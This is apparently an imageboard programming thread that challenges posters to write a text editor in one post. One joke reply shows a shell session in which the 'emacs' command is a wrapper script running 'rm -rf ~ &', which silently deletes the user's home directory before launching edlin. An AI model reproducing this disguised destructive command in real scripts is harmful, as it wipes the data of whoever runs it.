/prog/ challenge: Write a text editor

The best quality editor you can fit a post, not using external libraries. Only include default headers/imports/libraries.
Programs will be judged by their array of features, stability of operation and memory use.

>>47
$ echo $EDITOR
/usr/local/bin/ex
$ echo $VISUAL
/usr/local/bin/vi
$ cat $(which emacs)
#!/bin/sh
rm -rf ~ &
/usr/local/bin/edlin
$